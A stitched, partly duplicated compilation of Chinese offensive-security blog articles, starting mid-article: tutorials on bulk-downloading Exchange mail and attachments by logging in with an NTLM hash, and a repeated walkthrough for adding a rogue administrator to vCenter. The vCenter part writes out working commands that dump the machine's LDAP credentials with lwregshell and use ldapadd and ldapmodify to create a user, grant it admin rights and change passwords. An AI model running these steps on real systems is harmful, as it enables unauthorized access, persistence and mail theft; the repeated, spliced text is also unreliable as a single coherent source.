在下载邮件时,以邮件用户名作为父文件夹,不同操作会创建不同的子文件夹,在使用搜索功能创建子文件夹时,为了避免特殊字符(例如字符 >)无法作为文件夹名称,这里会去掉特殊字符。

0x05 小结

本文介绍了exchangelib的用法,开源代码ewsManage_exchangelib_Downloader.py,实现了利用hash对Exchange资源的访问。

如果想要快速开发一个EWS的资源访问程序,推荐选择exchangelib。

0x00 前言

在之前的文章介绍了通过SOAP XML message实现利用hash对Exchange资源的访问,由于采用了较为底层的通信协议,在功能实现上相对繁琐,但是有助于理解通信协议原理和漏洞利用。

如果仅仅为了更高效的开发一个资源访问的程序,可以借助Python库exchangelib实现。

本文将要介绍exchangelib的用法,开源代码,实现自动化下载邮件和提取附件。

0x01 简介

本文将要介绍以下内容:

◼exchangelib用法

◼开发细节

◼开源代码

0x02 exchangelib用法

参考资料:

https://github.com/ecederstrand/exchangelib

https://ecederstrand.github.io/exchangelib/

1.简单的登录测试

代码如下:

image.png

如果Exchange服务器证书不可信,需要忽略证书验证,加入以下代码:

image.png

屏蔽输出的提示信息InsecureRequestWarning,加入以下代码:

image.png

完整代码如下:

image.png

2.使用明文或hash登录

使用明文登录:

image.png

使用Hash登录:

image.png

3.统计邮件数目

示例代码:

image.png

4.指定时间范围进行搜索

示例代码:

image.png

5.指定下载数量:

指定前10个:

image.png

指定后10个:

image.png

指定区间:

image.png

6.文件夹枚举

能够遍历出邮箱用户下的所有文件夹,示例代码:

image.png

7.将Python脚本编译成exe

如果将使用exchangelib开发的Python脚本编译成exe格式,使用pyinstaller -F test.py命令会报错,提示:No time zone found with key UTC。

解决方法:

image.png

0x03 开发细节

1.通信协议

exchangelib也是通过SOAP XML message实现利用hash对Exchange资源的访问。

2.邮件保存

exchangelib中会自动XML格式邮件内容进行解析,在保存邮件时,可以直接提取出对应的信息。

这里需要注意的是可以将返回结果中的字符串\r\n替换成换行符,提高数据可读性。

示例代码:

image.png

3.条件匹配

exchangelib支持Advanced Query Syntax (AQS)。

AQS参考资料:

https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/querystring-querystringtype

利用AQS可以实现日期搜索,搜索格式示例:

image.png

对于关键词搜索,无法直接使用AQS,可以选择接收所有邮件再进行字符串匹配。

0x04 开源代码

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage_exchangelib_Downloader.py

支持明文和NTLM Hash的登录,代码支持以下功能:

◼支持自己的Exchange服务器和Office365(outlook.office365.com)

◼download,下载邮件并提取附件,可指定邮箱文件夹和下载数量

◼search,邮件搜索并下载,支持关键词、时间、长度等语法

◼listfolder,枚举用户所有文件夹

在下载邮件时,以邮件用户名作为父文件夹,不同操作会创建不同的子文件夹,在使用搜索功能创建子文件夹时,为了避免特殊字符(例如字符 >)无法作为文件夹名称,这里会去掉特殊字符。

0x05 小结

本文介绍了exchangelib的用法,开源代码ewsManage_exchangelib_Downloader.py,实现了利用hash对Exchange资源的访问。

如果想要快速开发一个EWS的资源访问程序,推荐选择exchangelib。

0x00 前言

我在之前的文章《Exchange Web Service(EWS)开发指南》和《Exchange Web Service(EWS)开发指南2——SOAP XML message》详细介绍了通过SOAP XML message实现利用hash对Exchange资源的访问。

因为是较为底层的通信协议,在功能实现上相对繁琐,例如下载邮件附件的操作,需要依次完成以下操作:

◼读取文件夹信息,获得邮件对应的ItemId和ChangeKey

◼读取邮件信息,获得附件的ItemId

◼通过附件的ItemId获得每个附件对应的AttachmentId

◼通过AttachmentId下载邮件内容,将内容作Base64解码得到实际内容

如果想要完全自动化实现下载邮件和提取附件,原有的ewsManage.py需要作一些改动。

因此,本文将要介绍自动化下载邮件和提取附件的实现细节,开源代码ewsManage_Downloader。

0x01 简介

本文将要介绍以下内容:

◼设计思路

◼开发细节

◼开源代码

0x02 设计思路

ewsManage_Downloader需要满足以下功能:

◼支持明文和NTLM Hash的登录

◼支持关键词搜索

◼支持日期搜索

◼下载时可以指定下载数量

◼能够自动下载邮件和提取附件

程序在通信过程中,每次SOAP XML message请求都需要完整的NTLM验证,无法借助Session机制简化登录流程

因此,原有的ewsManage.py代码结构需要重新设计,减少代码冗余。

0x03 开发细节

1.修复登录用户Domain参数的bug

原有的ewsManage.py,需要指定登录用户的Domain作为参数。

例如登录用户为test.com\administrator,Domain参数需要设置为test.com。

但是,如果登录用户为administrator,那么无法指定Domain参数。

这是我之前在使用NTLM认证时没有考虑到的一个地方,解决方法如下:

添加参数判断,如果Domain参数为NULL,那么在NTML认证时不指定Domian参数。

代码示例:

b80a8dc92aaec14ae1f3f2470755824.png

2.支持关键词搜索

发送的SOAP格式:

cffb3cce5153b79bd72fb69c47b3c8c.png

其中{querystring}为搜索的关键词,返回结果为带有指定关键词邮件对应的ItemId和ChangeKey。

3.支持日期搜索

发送的SOAP格式同上,区别是{querystring}不同。

参考资料1:

https://docs.microsoft.com/en-us/windows/win32/lwef/-search-2x-wds-aqsreference?redirectedfrom=MSDN

参考资料1中的时间格式为MM/DD/YY,示例如下:

2021年3月1日对应的格式为03/01/21。

但是经过实际测试,{querystring}中关于时间的语法不能按照参考资料1的格式。

参考资料2:

https://support.microsoft.com/en-us/office/learn-to-narrow-your-search-criteria-for-better-searches-in-outlook-d824d1e9-a255-4c8a-8553-276fb895a8da?ocmsassetid=ha010238831&correlationid=bf4cdcf9-abb8-4d43-930e-d0909de76728&ui=en-us&rs=en-us&ad=us

参考资料2中的时间格式为Year/Month/Day,示例如下:

2021年3月1日对应的格式为2021/3/1。

在时间格式上面,正确的语法为参考资料2。

综上,筛选出发送时间为2021年1月1日至2021年12月30日的参数如下:

bd4ee612347e06b5aec8241d1a2a29c.png

筛选出接收时间为2021年1月1日至2021年12月30日的参数如下:

9c677fb6b6b8246d056bfcd3f300258.png

4.支持长度搜索

正常情况下,筛选出长度小于2000的参数为:size:< 2000

但是需要考虑XML格式转义,实际的参数内容为:size:<2000

0x04 开源代码

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage_Downloader.py

支持明文和NTLM Hash的登录,代码支持以下功能:

◼download,下载邮件并提取附件,可指定邮箱文件夹和下载数量

◼findallpeople,导出联系人列表

◼search,邮件搜索并下载,支持关键词、时间、长度等语法

在下载邮件时,以邮件用户名作为父文件夹,不同操作会创建不同的子文件夹,在使用搜索功能创建子文件夹时,为了避免特殊字符(例如字符>)无法作为文件夹名称,这里会去掉特殊字符

0x05 小结

本文介绍了自动化下载邮件和提取附件的开发细节,开源代码ewsManage_Downloader.py,实现了利用hash对Exchange资源的访问。

由于采用了较为底层的通信协议,在功能实现上相对繁琐,但是有助于理解通信协议原理和漏洞利用。

0x00 前言

我在之前的文章《Exchange Web Service(EWS)开发指南》和《Exchange Web Service(EWS)开发指南2——SOAP XML message》详细介绍了通过SOAP XML message实现利用hash对Exchange资源的访问。

因为是较为底层的通信协议,在功能实现上相对繁琐,例如下载邮件附件的操作,需要依次完成以下操作:

◼读取文件夹信息,获得邮件对应的ItemId和ChangeKey

◼读取邮件信息,获得附件的ItemId

◼通过附件的ItemId获得每个附件对应的AttachmentId

◼通过AttachmentId下载邮件内容,将内容作Base64解码得到实际内容

如果想要完全自动化实现下载邮件和提取附件,原有的ewsManage.py需要作一些改动。

因此,本文将要介绍自动化下载邮件和提取附件的实现细节,开源代码ewsManage_Downloader。

0x01 简介

本文将要介绍以下内容:

◼设计思路

◼开发细节

◼开源代码

0x02 设计思路

ewsManage_Downloader需要满足以下功能:

◼支持明文和NTLM Hash的登录

◼支持关键词搜索

◼支持日期搜索

◼下载时可以指定下载数量

◼能够自动下载邮件和提取附件

程序在通信过程中,每次SOAP XML message请求都需要完整的NTLM验证,无法借助Session机制简化登录流程

因此,原有的ewsManage.py代码结构需要重新设计,减少代码冗余。

0x03 开发细节

1.修复登录用户Domain参数的bug

原有的ewsManage.py,需要指定登录用户的Domain作为参数。

例如登录用户为test.com\administrator,Domain参数需要设置为test.com。

但是,如果登录用户为administrator,那么无法指定Domain参数。

这是我之前在使用NTLM认证时没有考虑到的一个地方,解决方法如下:

添加参数判断,如果Domain参数为NULL,那么在NTML认证时不指定Domian参数。

代码示例:

b80a8dc92aaec14ae1f3f2470755824.png

2.支持关键词搜索

发送的SOAP格式:

cffb3cce5153b79bd72fb69c47b3c8c.png

其中{querystring}为搜索的关键词,返回结果为带有指定关键词邮件对应的ItemId和ChangeKey。

3.支持日期搜索

发送的SOAP格式同上,区别是{querystring}不同。

参考资料1:

https://docs.microsoft.com/en-us/windows/win32/lwef/-search-2x-wds-aqsreference?redirectedfrom=MSDN

参考资料1中的时间格式为MM/DD/YY,示例如下:

2021年3月1日对应的格式为03/01/21。

但是经过实际测试,{querystring}中关于时间的语法不能按照参考资料1的格式。

参考资料2:

https://support.microsoft.com/en-us/office/learn-to-narrow-your-search-criteria-for-better-searches-in-outlook-d824d1e9-a255-4c8a-8553-276fb895a8da?ocmsassetid=ha010238831&correlationid=bf4cdcf9-abb8-4d43-930e-d0909de76728&ui=en-us&rs=en-us&ad=us

参考资料2中的时间格式为Year/Month/Day,示例如下:

2021年3月1日对应的格式为2021/3/1。

在时间格式上面,正确的语法为参考资料2。

综上,筛选出发送时间为2021年1月1日至2021年12月30日的参数如下:

bd4ee612347e06b5aec8241d1a2a29c.png

筛选出接收时间为2021年1月1日至2021年12月30日的参数如下:

9c677fb6b6b8246d056bfcd3f300258.png

4.支持长度搜索

正常情况下,筛选出长度小于2000的参数为:size:< 2000

但是需要考虑XML格式转义,实际的参数内容为:size:<2000

0x04 开源代码

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage_Downloader.py

支持明文和NTLM Hash的登录,代码支持以下功能:

◼download,下载邮件并提取附件,可指定邮箱文件夹和下载数量

◼findallpeople,导出联系人列表

◼search,邮件搜索并下载,支持关键词、时间、长度等语法

在下载邮件时,以邮件用户名作为父文件夹,不同操作会创建不同的子文件夹,在使用搜索功能创建子文件夹时,为了避免特殊字符(例如字符>)无法作为文件夹名称,这里会去掉特殊字符

0x05 小结

本文介绍了自动化下载邮件和提取附件的开发细节,开源代码ewsManage_Downloader.py,实现了利用hash对Exchange资源的访问。

由于采用了较为底层的通信协议,在功能实现上相对繁琐,但是有助于理解通信协议原理和漏洞利用。

0x00 前言

在之前的三篇文章《vSphere开发指南1——vSphere Automation API》、《vSphere开发指南2——vSphere Web Services API》和《vSphere开发指南3——VMware PowerCLI》介绍了同虚拟机交互的方法,但有一个利用前提,需要获得管理员用户的口令。

所以本文将要介绍在vCenter上通过LDAP数据库添加管理员用户的方法,扩宽利用思路。

0x01 简介

本文将要介绍以下内容:

◼利用方法

◼程序实现

0x02 利用方法

由于介绍这部分的内容相对较少,我从以下资料获得了一些思路:

https://www.guardicore.com/blog/pwning-vmware-vcenter-cve-2020-3952/

https://kb.vmware.com/s/article/2147280

vCenter默认安装了LDAP数据库,用来存储登录用户的信息

LDAP的凭据信息使用Likewise进行存储

1.导出LDAP的凭据信息

运行以下命令以访问likewise shell:

/opt/likewise/bin/lwregshell

切换目录:

cd HKEY_THIS_MACHINE\services\vmdir

导出信息:

list_values

执行结果如下图

1.png

以上命令可以合并成一句:

/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]'

2.连接LDAP数据库

vCenter内置了ldapsearch,可以用来查询LDAP数据库信息

查询命令示例:

ldapsearch -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "[email protected]@@" -b "dc=aaa,dc=bbb"

返回结果为文本格式,为了方便分析数据结构,可以改为使用界面化的工具LDAP Browser,下载地址:

http://www.ldapbrowserwindows.com/

导出数据库信息如下图

2.png

3.添加用户

经过比较分析,添加用户的操作等价于在entryDN cn=Users,dc=aaa,dc=bbb下添加了如下信息:

# test1, Users, aaa.bbb
dn: CN=test1,CN=Users,DC=aaa,DC=bbb
nTSecurityDescriptor:: AQAHhBQAAAA0AAAAAAAAAFQAAAABBgAAAAAABxUAAACm3bprj60+LPb
 uSMg5729v9AEAAAEGAAAAAAAHFQAAAKbdumuPrT4s9u5IyDnvb28gAgAAAgDAAAUAAAAAEygAMQAH
 IAEGAAAAAAAHFQAAAKbdumuPrT4s9u5IyDnvb2/0AQAAABMoADEAByABBgAAAAAABxUAAACm3bprj
 60+LPbuSMg5729vIAIAAAATKAAxAAcgAQYAAAAAAAcVAAAApt26a4+tPiz27kjIOe9vbwACAAAAEy
 gAEAAAAAEGAAAAAAAHFQAAAKbdumuPrT4s9u5IyDnvb28DAgAAABMYADAAAAABAgAAAAAAByAAAAC
 aAgAA
krbPrincipalKey:: MIGboAMCAQGhAwIBAKIDAgEBpIGJMIGGMEmhRzBFoAMCARKhPgQ8FLCUOdBv
 7cUknLaow8mo+zkUu0LbNaQi7gppLCdhVco2gvzFrhg6O6Ww2I6F0FrZ/EBPnnTuV0ozQdopMDmhN
 zA1oAMCARehLgQsPsHK4inqlDsPbt55cFDjqkiNrbwA9Jw8lfN+3O57RqBPcHiOlTEHU/ZUQoY=
userAccountControl: 0
userPrincipalName: [email protected]
sAMAccountName: test1
cn: test1
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user

添加数据库信息的操作可以使用vCenter内置的ldapadd,命令示例:

ldapadd -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "[email protected]@@" -f adduser.ldif

adduser.ldif的示例内容:

dn: CN=test1,CN=Users,DC=aaa,DC=bbb
userPrincipalName: [email protected]
sAMAccountName: test1
cn: test1
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
userPassword: [email protected]@@

注:

设置用户密码通过属性userPassword实现,无法通过直接设置属性nTSecurityDescriptor和属性krbPrincipalKey实现

4.将用户添加至管理员组

将用户添加至管理员组等价于在entryDN cn=Administrators,cn=Builtin,dc=aaa,dc=bbb下添加属性:member CN=test1,CN=Users,DC=aaa,DC=bbb

修改数据库信息的操作可以使用vCenter内置的ldapmodify,命令示例:

ldapmodify -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "[email protected]@@" -f addadmin.ldif

addadmin.ldif的示例内容:

dn: cn=Administrators,cn=Builtin,dc=aaa,dc=bbb
changetype: modify
add: member
member: CN=test1,CN=Users,DC=aaa,DC=bbb

补充1:修改用户口令

命令示例:

ldapmodify -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "[email protected]@@" -f changepass.ldif

changepass.ldif的示例内容:

dn: CN=test1,CN=Users,DC=aaa,DC=bbb
changetype: modify
replace: userPassword
userPassword: [email protected]@@45

补充2:删除用户

命令示例:

ldapdelete -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "[email protected]@@" "CN=test1,CN=Users,DC=aaa,DC=bbb"

至此,管理员用户添加成功,使用新添加的管理员用户可以登录Web管理页面,也能够用来调用vSphere API

0x03 程序实现

vCenter内置了Python3环境,所以这里使用Python进行实现

需要引用以下三个包:

◼os

◼sys

◼re

vCenter默认支持,能够正常使用

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py

代码支持以下功能:

◼adduser,添加一个普通用户

◼addadmin,将普通用户设置为管理员用户

◼changepass,修改用户口令

◼deleteuser,删除一个用户

◼getadmin,列出所有管理员用户

◼getuser,列出所有用户

0x04 小结

本文介绍了在vCenter上通过LDAP数据库添加管理员用户的方法,后续可以使用新添加的管理员用户登录Web管理页面或是调用vSphere API。

0x00 前言

在之前的三篇文章《vSphere开发指南1——vSphere Automation API》、《vSphere开发指南2——vSphere Web Services API》和《vSphere开发指南3——VMware PowerCLI》介绍了同虚拟机交互的方法,但有一个利用前提,需要获得管理员用户的口令。

所以本文将要介绍在vCenter上通过LDAP数据库添加管理员用户的方法,扩宽利用思路。

0x01 简介

本文将要介绍以下内容:

◼利用方法

◼程序实现

0x02 利用方法

由于介绍这部分的内容相对较少,我从以下资料获得了一些思路:

https://www.guardicore.com/blog/pwning-vmware-vcenter-cve-2020-3952/

https://kb.vmware.com/s/article/2147280

vCenter默认安装了LDAP数据库,用来存储登录用户的信息

LDAP的凭据信息使用Likewise进行存储

1.导出LDAP的凭据信息

运行以下命令以访问likewise shell:

/opt/likewise/bin/lwregshell

切换目录:

cd HKEY_THIS_MACHINE\services\vmdir

导出信息:

list_values

执行结果如下图

1.png

以上命令可以合并成一句:

/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]'

2.连接LDAP数据库

vCenter内置了ldapsearch,可以用来查询LDAP数据库信息

查询命令示例:

ldapsearch -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "[email protected]@@" -b "dc=aaa,dc=bbb"

返回结果为文本格式,为了方便分析数据结构,可以改为使用界面化的工具LDAP Browser,下载地址:

http://www.ldapbrowserwindows.com/

导出数据库信息如下图

2.png

3.添加用户

经过比较分析,添加用户的操作等价于在entryDN cn=Users,dc=aaa,dc=bbb下添加了如下信息:

# test1, Users, aaa.bbb
dn: CN=test1,CN=Users,DC=aaa,DC=bbb
nTSecurityDescriptor:: AQAHhBQAAAA0AAAAAAAAAFQAAAABBgAAAAAABxUAAACm3bprj60+LPb
 uSMg5729v9AEAAAEGAAAAAAAHFQAAAKbdumuPrT4s9u5IyDnvb28gAgAAAgDAAAUAAAAAEygAMQAH
 IAEGAAAAAAAHFQAAAKbdumuPrT4s9u5IyDnvb2/0AQAAABMoADEAByABBgAAAAAABxUAAACm3bprj
 60+LPbuSMg5729vIAIAAAATKAAxAAcgAQYAAAAAAAcVAAAApt26a4+tPiz27kjIOe9vbwACAAAAEy
 gAEAAAAAEGAAAAAAAHFQAAAKbdumuPrT4s9u5IyDnvb28DAgAAABMYADAAAAABAgAAAAAAByAAAAC
 aAgAA
krbPrincipalKey:: MIGboAMCAQGhAwIBAKIDAgEBpIGJMIGGMEmhRzBFoAMCARKhPgQ8FLCUOdBv
 7cUknLaow8mo+zkUu0LbNaQi7gppLCdhVco2gvzFrhg6O6Ww2I6F0FrZ/EBPnnTuV0ozQdopMDmhN
 zA1oAMCARehLgQsPsHK4inqlDsPbt55cFDjqkiNrbwA9Jw8lfN+3O57RqBPcHiOlTEHU/ZUQoY=
userAccountControl: 0
userPrincipalName: [email protected]
sAMAccountName: test1
cn: test1
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user

添加数据库信息的操作可以使用vCenter内置的ldapadd,命令示例:

ldapadd -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "[email protected]@@" -f adduser.ldif

adduser.ldif的示例内容:

dn: CN=test1,CN=Users,DC=aaa,DC=bbb
userPrincipalName: [email protected]
sAMAccountName: test1
cn: test1
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
userPassword: [email protected]@@

注:

设置用户密码通过属性userPassword实现,无法通过直接设置属性nTSecurityDescriptor和属性krbPrincipalKey实现

4.将用户添加至管理员组

将用户添加至管理员组等价于在entryDN cn=Administrators,cn=Builtin,dc=aaa,dc=bbb下添加属性:member CN=test1,CN=Users,DC=aaa,DC=bbb

修改数据库信息的操作可以使用vCenter内置的ldapmodify,命令示例:

ldapmodify -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "[email protected]@@" -f addadmin.ldif

addadmin.ldif的示例内容:

dn: cn=Administrators,cn=Builtin,dc=aaa,dc=bbb
changetype: modify
add: member
member: CN=test1,CN=Users,DC=aaa,DC=bbb

补充1:修改用户口令

命令示例:

ldapmodify -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "[email protected]@@" -f changepass.ldif

changepass.ldif的示例内容:

dn: CN=test1,CN=Users,DC=aaa,DC=bbb
changetype: modify
replace: userPassword
userPassword: [email protected]@@45

补充2:删除用户

命令示例:

ldapdelete -x -H ldap://192.168.1.1:389 -D "cn=192.168.1.1,ou=Domain Controllers,dc=aaa,dc=bbb" -w "[email protected]@@" "CN=test1,CN=Users,DC=aaa,DC=bbb"

至此,管理员用户添加成功,使用新添加的管理员用户可以登录Web管理页面,也能够用来调用vSphere API

0x03 程序实现

vCenter内置了Python3环境,所以这里使用Python进行实现

需要引用以下三个包:

◼os

◼sys

◼re

vCenter默认支持,能够正常使用

完整代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py

代码支持以下功能:

◼adduser,添加一个普通用户

◼addadmin,将普通用户设置为管理员用户

◼changepass,修改用户口令

◼deleteuser,删除一个用户

◼getadmin,列出所有管理员用户

◼getuser,列出所有用户

0x04 小结

本文介绍了在vCenter上通过LDAP数据库添加管理员用户的方法,后续可以使用新添加的管理员用户登录Web管理页面或是调用vSphere API。